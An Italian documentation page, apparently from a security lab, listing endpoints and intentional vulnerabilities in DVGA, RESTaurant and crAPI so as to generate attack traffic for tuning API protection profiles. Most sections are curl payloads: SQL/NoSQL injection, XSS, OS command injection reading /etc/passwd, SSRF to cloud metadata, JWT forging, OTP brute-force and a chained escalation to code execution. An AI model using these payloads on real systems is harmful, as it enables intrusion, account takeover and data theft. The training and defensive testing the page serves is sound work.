- Home
- Server di origine
- Guida ai test API
Guida ai test API
Panoramica
Sezione intitolata “Panoramica”Questa guida cataloga ogni endpoint API, vulnerabilità intenzionale e payload di attacco nelle tre applicazioni di test per la sicurezza API. Usarla per costruire pattern di generazione di traffico per lo sviluppo di profili di protezione API F5 XC.
| Applicazione | Protocollo | Percorso | Porta | Autenticazione | Vulnerabilità |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | Nessuna (admin: admin/password) | 25 scenari |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (form-encoded) | 7 categorie OWASP API 2023 |
| crAPI | REST (microservizi) | / | 8888 | JWT (Bearer) | 18+ sfide |
Variabili d’ambiente
Sezione intitolata “Variabili d’ambiente”ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
Sezione intitolata “DVGA (Damn Vulnerable GraphQL Application)”Endpoint GraphQL: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
Credenziali amministratore: admin / password
Tutte le interazioni con DVGA utilizzano un unico endpoint (/dvga/graphql) con richieste POST contenenti payload JSON {"query":"..."}.
Panoramica dello schema
Sezione intitolata “Panoramica dello schema”Query: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutation: createPaste, importPaste, uploadPasteTipi: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← riferimento circolareRiferimento degli endpoint
Sezione intitolata “Riferimento degli endpoint”| Operazione | Tipo | Autenticazione | Scopo |
|---|---|---|---|
pastes(public, filter, limit) | Query | No | Elenca paste (SQL injection via filter) |
paste(id) | Query | No | Ottieni una singola paste |
me(token) | Query | No | Ottieni utente tramite JWT (vulnerabile alla contraffazione) |
systemHealth | Query | No | Controllo dello stato |
systemUpdate | Query | No | Query lenta (~82s, vettore DoS) |
systemDiagnostics(cmd) | Query | admin/password | Esegui comandi OS nella whitelist |
createPaste(title, content, public) | Mutation | No | Crea paste (XSS via content) |
importPaste(host, port, path, scheme) | Mutation | No | Importa paste remota (SSRF, command injection) |
uploadPaste(filename, content) | Mutation | No | Carica paste (path traversal) |
Catalogo delle vulnerabilità
Sezione intitolata “Catalogo delle vulnerabilità”1. Denial of Service (6 scenari)
Sezione intitolata “1. Denial of Service (6 scenari)”Attacco Batch Query:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'Ricorsione profonda (riferimenti circolari Owner/Paste):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'Query ad alto consumo di risorse (~82 secondi di risposta):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'Duplicazione di campo (ripetere il campo 500+ volte):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'Attacco basato su alias (1000 operazioni con alias):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. Divulgazione di informazioni (5 scenari)
Sezione intitolata “2. Divulgazione di informazioni (5 scenari)”Introspezione (enumerazione completa dello schema):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'Suggerimenti di campo (un errore di battitura rivela campi validi):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'SSRF via importPaste (sondaggio di servizi interni):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. Injection (4 scenari)
Sezione intitolata “3. Injection (4 scenari)”SQL Injection tramite parametro filter:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'XSS persistente via createPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'Log Injection (spoofing del nome dell’operazione):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. Esecuzione di codice (3 scenari)
Sezione intitolata “4. Esecuzione di codice (3 scenari)”OS Command Injection via importPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'Comando OS via systemDiagnostics (richiede autenticazione admin):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. Bypass dell’autorizzazione (3 scenari)
Sezione intitolata “5. Bypass dell’autorizzazione (3 scenari)”Contraffazione token JWT (accetta token non firmati):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'Scrittura arbitraria di file via uploadPaste (path traversal):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API (Damn Vulnerable RESTaurant)
Sezione intitolata “RESTaurant API (Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
Specifiche OpenAPI: ${ORIGIN}/restaurant/openapi.json
Autenticazione: JWT tramite POST form-encoded a /restaurant/token
Ruoli: Customer (predefinito), Employee, Chef (admin)
Configurazione: Registrazione e autenticazione
Sezione intitolata “Configurazione: Registrazione e autenticazione”# Registra un utente di testcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Ottieni il token JWT (NOTA: form-encoded, non JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"Riferimento degli endpoint
Sezione intitolata “Riferimento degli endpoint”| Endpoint | Metodo | Autenticazione | Ruolo | Vulnerabilità |
|---|---|---|---|---|
/restaurant/register | POST | No | — | Creazione utente |
/restaurant/token | POST | No | — | JWT con secret debole (97952) |
/restaurant/healthcheck | GET | No | — | Controllo dello stato |
/restaurant/profile | GET | Sì | Qualsiasi | Profilo utente |
/restaurant/profile | PUT | Sì | Qualsiasi | BOLA (modifica altri utenti) |
/restaurant/profile | PATCH | Sì | Qualsiasi | BOPLA (mass assign del ruolo) |
/restaurant/users/update_role | PUT | Sì | Qualsiasi | BFLA (escalation del ruolo) |
/restaurant/menu | GET | Sì | Qualsiasi | Elenca le voci del menu |
/restaurant/menu | PUT | Sì | Employee+ | Crea voce del menu (SSRF via immagine) |
/restaurant/menu/{item_id} | PUT | Sì | Employee+ | Aggiorna voce del menu (SSRF via immagine) |
/restaurant/menu/{item_id} | DELETE | Sì | Qualsiasi | BFLA (qualsiasi utente può eliminare) |
/restaurant/orders | GET | Sì | Qualsiasi | BOLA (visualizza tutti gli ordini) |
/restaurant/orders | POST | Sì | Qualsiasi | Crea ordine |
/restaurant/orders/{order_id} | GET | Sì | Qualsiasi | BOLA (accesso ad altri ordini) |
/restaurant/orders/status/{order_id} | GET | Sì | Qualsiasi | Stato dell’ordine |
/restaurant/admin/stats/disk | GET | Sì | Chef | Command injection |
/restaurant/reset-password | POST | No | — | Richiesta di reset della password |
/restaurant/reset-password/new-password | POST | No | — | Imposta nuova password |
/restaurant/referral-code | GET | Sì | Qualsiasi | Ottieni codice referral |
/restaurant/apply-referral | POST | Sì | Qualsiasi | Applica referral |
/restaurant/discount-coupons | GET | Sì | Qualsiasi | Elenca coupon |
Catalogo delle vulnerabilità
Sezione intitolata “Catalogo delle vulnerabilità”API1:2023 — Broken Object Level Authorization (BOLA)
Sezione intitolata “API1:2023 — Broken Object Level Authorization (BOLA)”Modifica il profilo di un altro utente:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'Accesso agli ordini di altri utenti (enumera l’offset):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Broken Authentication
Sezione intitolata “API2:2023 — Broken Authentication”Brute-force del secret JWT debole (il secret è a 6 cifre: 97952):
# Decodifica e forgia token su jwt.io# Secret: 97952 (attaccabile con hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Forgia un token Chef:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# Firma con secret: 97952API3:2023 — Broken Object Property Level Authorization (BOPLA)
Sezione intitolata “API3:2023 — Broken Object Property Level Authorization (BOPLA)”Mass-assign del ruolo da Customer a Chef:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'Percorso di escalation: Customer → Employee → Chef:
# Passaggio 1: Escalation a Employeecurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# Passaggio 2: Escalation a Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Broken Function Level Authorization (BFLA)
Sezione intitolata “API5:2023 — Broken Function Level Authorization (BFLA)”Elimina voce del menu come Customer (dovrebbe richiedere Employee+):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"Modifica il ruolo di un altro utente:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Server-Side Request Forgery (SSRF)
Sezione intitolata “API7:2023 — Server-Side Request Forgery (SSRF)”Sondaggio degli endpoint interni tramite image_url del menu (richiede ruolo Employee):
# Prima eseguire l'escalation a Employee tramite BOPLA, poi:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — Injection
Sezione intitolata “API8:2023 — Injection”OS Command Injection via statistiche disco (richiede ruolo Chef):
# Dopo l'escalation a Chef:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"Catena d’attacco completa: da Customer a Root
Sezione intitolata “Catena d’attacco completa: da Customer a Root”# 1. Registrazionecurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Ottieni tokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalation a Chef (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Riautenticazione per ottenere il token a livello ChefTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Command injection (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
Sezione intitolata “crAPI (OWASP Completely Ridiculous API)”Web UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (acquisizione email per la verifica)
Autenticazione: JWT Bearer token (RS256, vulnerabile alla confusion degli algoritmi)
Architettura: 7 microservizi (identity, community, workshop, postgres, mongo, mailhog, web)
Configurazione: Registrazione, verifica email, accesso
Sezione intitolata “Configurazione: Registrazione, verifica email, accesso”# 1. Registrazionecurl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Controlla MailHog per l'email di verifica# Naviga su ${CRAPI}/mailhog/ oppure usa l'API MailHog:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. Accesso e ottenimento del token JWTTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"Riferimento degli endpoint
Sezione intitolata “Riferimento degli endpoint”Servizio Identity
Sezione intitolata “Servizio Identity”| Endpoint | Metodo | Autenticazione | Vulnerabilità |
|---|---|---|---|
/identity/api/auth/signup | POST | No | Registrazione |
/identity/api/auth/login | POST | No | Token JWT (algorithm confusion) |
/identity/api/auth/forget-password | POST | No | Richiesta OTP |
/identity/api/auth/v2/check-otp | POST | No | Nessun rate limit (brute-force OTP a 4 cifre) |
/identity/api/auth/v3/check-otp | POST | No | Versione con rate limit |
/identity/api/v2/user/dashboard | GET | Sì | Profilo utente |
/identity/api/v2/user/change-email | PUT | Sì | Modifica email |
/identity/api/v2/vehicle/vehicles | GET | Sì | Elenca veicoli (espone UUID) |
/identity/api/v2/vehicle/{uuid}/location | GET | Sì | BOLA (veicolo di qualsiasi utente) |
/identity/api/v2/user/videos | POST | Sì | Caricamento video |
/identity/api/v2/user/videos/{id} | GET | Sì | Esposizione di dati (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | Sì | Mass assignment (command injection) |
/identity/api/v2/admin/videos/{id} | DELETE | Sì | BFLA (nessun controllo admin) |
Servizio Community
Sezione intitolata “Servizio Community”| Endpoint | Metodo | Autenticazione | Vulnerabilità |
|---|---|---|---|
/community/api/v2/community/posts | GET | Sì | Esposizione di dati (espone vehicle_id, email) |
/community/api/v2/community/posts | POST | Sì | Crea post nel blog |
/community/api/v2/community/posts/{id}/comments | POST | Sì | Aggiungi commento |
/community/api/v2/coupon/validate-coupon | POST | Sì | NoSQL injection |
Servizio Workshop
Sezione intitolata “Servizio Workshop”| Endpoint | Metodo | Autenticazione | Vulnerabilità |
|---|---|---|---|
/workshop/api/mechanic | GET | Sì | Esposizione di dati (email dei meccanici) |
/workshop/api/mechanic/mechanic_report | GET | No | BOLA (nessuna autenticazione, ID sequenziali) |
/workshop/api/merchant/contact_mechanic | POST | Sì | SSRF + DoS |
/workshop/api/shop/products | GET | Sì | Catalogo prodotti |
/workshop/api/shop/orders/ | POST | Sì | Crea ordine |
/workshop/api/shop/orders/all | GET | Sì | Elenca ordini |
/workshop/api/shop/orders/{id} | GET | No | BOLA (nessuna autenticazione richiesta) |
/workshop/api/shop/orders/{id} | PUT | Sì | Mass assignment (status, quantity) |
/workshop/api/shop/apply_coupon | POST | Sì | SQL injection |
Catalogo delle sfide
Sezione intitolata “Catalogo delle sfide”Sfida 1 — BOLA: Accesso alla posizione del veicolo di un altro utente
Sezione intitolata “Sfida 1 — BOLA: Accesso alla posizione del veicolo di un altro utente”# Ottieni prima il proprio UUID del veicolocurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# Accedi al veicolo di un altro utente (sostituisci UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"Sfida 2 — BOLA: Accesso ai rapporti dei meccanici (senza autenticazione)
Sezione intitolata “Sfida 2 — BOLA: Accesso ai rapporti dei meccanici (senza autenticazione)”# Enumerazione di ID sequenziali — nessun token necessariofor i in 1 2 3 4 5; do echo "Rapporto $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneSfida 3 — Broken Auth: Brute-force dell’OTP per il reset della password
Sezione intitolata “Sfida 3 — Broken Auth: Brute-force dell’OTP per il reset della password”# Richiedi OTP per la vittimacurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# Brute-force dell'OTP a 4 cifre (v2 NON ha rate limiting)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneSfida 4 — Esposizione di dati: Perdita delle email dei meccanici
Sezione intitolata “Sfida 4 — Esposizione di dati: Perdita delle email dei meccanici”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolSfida 5 — Esposizione di dati: Parametri interni di conversione video
Sezione intitolata “Sfida 5 — Esposizione di dati: Parametri interni di conversione video”# Carica un video, poi esamina la rispostacurl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# Cerca il campo conversion_params nella rispostaSfida 6 — DoS: Layer 7 via Contact Mechanic
Sezione intitolata “Sfida 6 — DoS: Layer 7 via Contact Mechanic”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'Sfida 7 — BFLA: Eliminazione video tramite endpoint admin
Sezione intitolata “Sfida 7 — BFLA: Eliminazione video tramite endpoint admin”# Un utente normale può accedere all'endpoint admincurl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"Sfide 8 e 9 — Mass Assignment: Articoli gratuiti tramite manipolazione degli ordini
Sezione intitolata “Sfide 8 e 9 — Mass Assignment: Articoli gratuiti tramite manipolazione degli ordini”# Cambia GET in PUT, modifica status e quantitycurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'Sfida 10 — Command Injection tramite parametri di conversione video
Sezione intitolata “Sfida 10 — Command Injection tramite parametri di conversione video”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'Sfida 11 — SSRF via Contact Mechanic
Sezione intitolata “Sfida 11 — SSRF via Contact Mechanic”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'Sfida 12 — NoSQL Injection: Estrazione dei codici coupon
Sezione intitolata “Sfida 12 — NoSQL Injection: Estrazione dei codici coupon”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'Sfida 13 — SQL Injection: Riscatto multiplo dei coupon
Sezione intitolata “Sfida 13 — SQL Injection: Riscatto multiplo dei coupon”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"Sfida 14 — Accesso agli ordini senza autenticazione
Sezione intitolata “Sfida 14 — Accesso agli ordini senza autenticazione”# Nessun header Authorization — restituisce comunque datifor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneSfida 15 — JWT Algorithm Confusion
Sezione intitolata “Sfida 15 — JWT Algorithm Confusion”# Forgia un JWT con algoritmo "none" (nessuna verifica della firma):# 1. Imposta l'header: {"alg":"none","typ":"JWT"} e codificalo in base64url# 2. Imposta il payload: {"email":"admin@example.com","role":"admin"} e codificalo in base64url# 3. Unisci con punti, lascia la firma vuota: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"Riferimento incrociato OWASP API Security Top 10
Sezione intitolata “Riferimento incrociato OWASP API Security Top 10”| Categoria OWASP | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile, GET /orders/{id} | Posizione veicolo, rapporti meccanici, ordini |
| API2: Broken Auth | Contraffazione JWT (query me) | JWT con secret debole (97952) | Brute-force OTP (v2), JWT algorithm confusion |
| API3: BOPLA | — | PATCH /profile (escalation del ruolo) | Video conversion_params, esposizione email meccanici |
| API4: Resource Consumption | Batch, ricorsione, alias, DoS per duplicazione di campi | Enumerazione utenti tramite lunghezza della risposta | DoS contact_mechanic con repeat_request |
| API5: BFLA | — | DELETE /menu, PUT /users/update_role | DELETE /admin/videos come utente normale |
| API6: Mass Assignment | — | PUT /orders (status, quantity) | Stato/quantità degli ordini, video conversion_params |
| API7: SSRF | Mutation importPaste | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: Injection | SQL (filter), XSS (content), OS cmd (importPaste, systemDiagnostics) | OS cmd (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9: Improper Assets | — | — | Endpoint deprecato /auth/v2/check-otp (nessun rate limit) |
| API10: Unsafe Consumption | — | — | (indiretto via SSRF) |
| GraphQL-specific | Introspezione, batching, ricorsione, alias, duplicazione di campi, frammenti circolari | — | — |
Pattern di generazione del traffico
Sezione intitolata “Pattern di generazione del traffico”Fase 1: Baseline (percorso normale)
Sezione intitolata “Fase 1: Baseline (percorso normale)”Genera traffico legittimo per stabilire il comportamento normale delle API prima di testare i pattern di attacco.
Baseline DVGA:
# Query normalicurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'Baseline RESTaurant:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'Baseline crAPI:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"Fase 2: Traffico di attacco per categoria OWASP
Sezione intitolata “Fase 2: Traffico di attacco per categoria OWASP”Test BOLA: Enumera ID sequenziali, sostituisci gli identificatori utente nelle richieste, accedi a risorse senza possesso.
Test Injection: Payload SQL nei parametri filter/coupon, injection nelle query GraphQL, OS command injection tramite campi parametro.
Test di bypass dell’autenticazione: Forgia token JWT, brute-force degli OTP, usa versioni API deprecate, algorithm confusion.
Test SSRF: URL interni in importPaste, image_url e parametri mechanic_api.
Test DoS: Attacchi GraphQL batch/recursion/alias, repeat_request_if_failed con conteggi elevati.
Fase 3: Catene di attacco con stato
Sezione intitolata “Fase 3: Catene di attacco con stato”Alcuni attacchi richiedono sequenze in più passaggi con stato:
- Catena di escalation RESTaurant: Registrazione → Token → PATCH ruolo a Chef → Riautenticazione → Command injection
- Flusso completo crAPI: Registrazione → Verifica email (MailHog) → Accesso → Aggiunta veicolo → Contatto meccanico (SSRF) → Manipolazione degli ordini
- Da ricognizione a exploit DVGA: Introspezione → Scoperta di systemDiagnostics → Brute-force credenziali admin → Esecuzione di comandi OS
Raccomandazioni sul rate
Sezione intitolata “Raccomandazioni sul rate”| Pattern | Richieste/sec | Durata | Note |
|---|---|---|---|
| Baseline (per applicazione) | 10-50 | 5 min | Stabilisci l’impronta del traffico normale |
| Enumerazione BOLA | 100-500 | 2 min | Scansione di ID sequenziali |
| Brute-force OTP | 1000+ | Fino al ritrovamento | Massimo 10.000 tentativi (4 cifre) |
| DoS GraphQL | 10-50 | 30 sec | Ogni richiesta è costosa lato server |
| Fuzzing Injection | 50-200 | 5 min | Varia i payload per ogni richiesta |
| Sondaggio SSRF | 5-20 | 2 min | Lento; ogni richiesta innesca una richiesta HTTP lato server |